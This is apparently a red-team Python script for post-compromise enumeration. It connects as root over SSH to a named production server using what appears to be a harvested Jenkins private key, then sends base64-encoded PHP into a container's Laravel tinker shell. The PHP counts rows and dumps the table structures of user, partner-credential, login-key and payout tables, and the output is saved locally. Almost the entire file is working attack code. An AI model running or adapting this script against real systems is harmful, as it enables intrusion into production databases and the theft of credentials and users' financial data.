#!/usr/bin/env python3
"""Query Yajny production MySQL — client/merchant/access enumeration (phase 2).
Counts + structures + sample data from key tables.
"""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===COUNTS===";',
    '$u = DB::select("SELECT COUNT(*) as c FROM tb_users")[0]->c; echo "tb_users: $u\n";',
    '$u2 = DB::select("SELECT COUNT(*) as c FROM users")[0]->c; echo "users: $u2\n";',
    '$du = DB::select("SELECT COUNT(*) as c FROM deleted_users")[0]->c; echo "deleted_users: $du\n";',
    '$pc = DB::select("SELECT COUNT(*) as c FROM partner_credentials")[0]->c; echo "partner_credentials: $pc\n";',
    '$pr = DB::select("SELECT COUNT(*) as c FROM partner_requests")[0]->c; echo "partner_requests: $pr\n";',
    '$st = DB::select("SELECT COUNT(*) as c FROM stores")[0]->c; echo "stores: $st\n";',
    '$nw = DB::select("SELECT COUNT(*) as c FROM networks")[0]->c; echo "networks: $nw\n";',
    '$pg = DB::select("SELECT COUNT(*) as c FROM payout_gateways")[0]->c; echo "payout_gateways: $pg\n";',
    '$pm = DB::select("SELECT COUNT(*) as c FROM payout_methods")[0]->c; echo "payout_methods: $pm\n";',
    '$pp = DB::select("SELECT COUNT(*) as c FROM processed_payouts")[0]->c; echo "processed_payouts: $pp\n";',
    '$sl = DB::select("SELECT COUNT(*) as c FROM sales")[0]->c; echo "sales: $sl\n";',
    '$bt = DB::select("SELECT COUNT(*) as c FROM balance_transactions")[0]->c; echo "balance_transactions: $bt\n";',
    '$lk = DB::select("SELECT COUNT(*) as c FROM login_keys")[0]->c; echo "login_keys: $lk\n";',
    '$up = DB::select("SELECT COUNT(*) as c FROM user_payout_methods")[0]->c; echo "user_payout_methods: $up\n";',
    '$ua = DB::select("SELECT COUNT(*) as c FROM user_activities")[0]->c; echo "user_activities: $ua\n";',
    'echo "===STRUCTURE_TB_USERS===";',
    '$cols = DB::select("DESCRIBE tb_users"); foreach($cols as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'echo "===STRUCTURE_PARTNER_CREDENTIALS===";',
    '$cols2 = DB::select("DESCRIBE partner_credentials"); foreach($cols2 as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'echo "===STRUCTURE_STORES===";',
    '$cols3 = DB::select("DESCRIBE stores"); foreach($cols3 as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'echo "===STRUCTURE_PAYOUT_GATEWAYS===";',
    '$cols4 = DB::select("DESCRIBE payout_gateways"); foreach($cols4 as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'echo "===STRUCTURE_NETWORKS===";',
    '$cols5 = DB::select("DESCRIBE networks"); foreach($cols5 as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'echo "===STRUCTURE_LOGIN_KEYS===";',
    '$cols6 = DB::select("DESCRIBE login_keys"); foreach($cols6 as $c) { echo $c->Field." (".$c->Type.")\n"; }',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/db_counts_structure.txt", "w") as f:
        f.write(out)
    if rc != 0 and not out:
        print(f"[!] rc={rc}", file=sys.stderr)
        print(err, file=sys.stderr)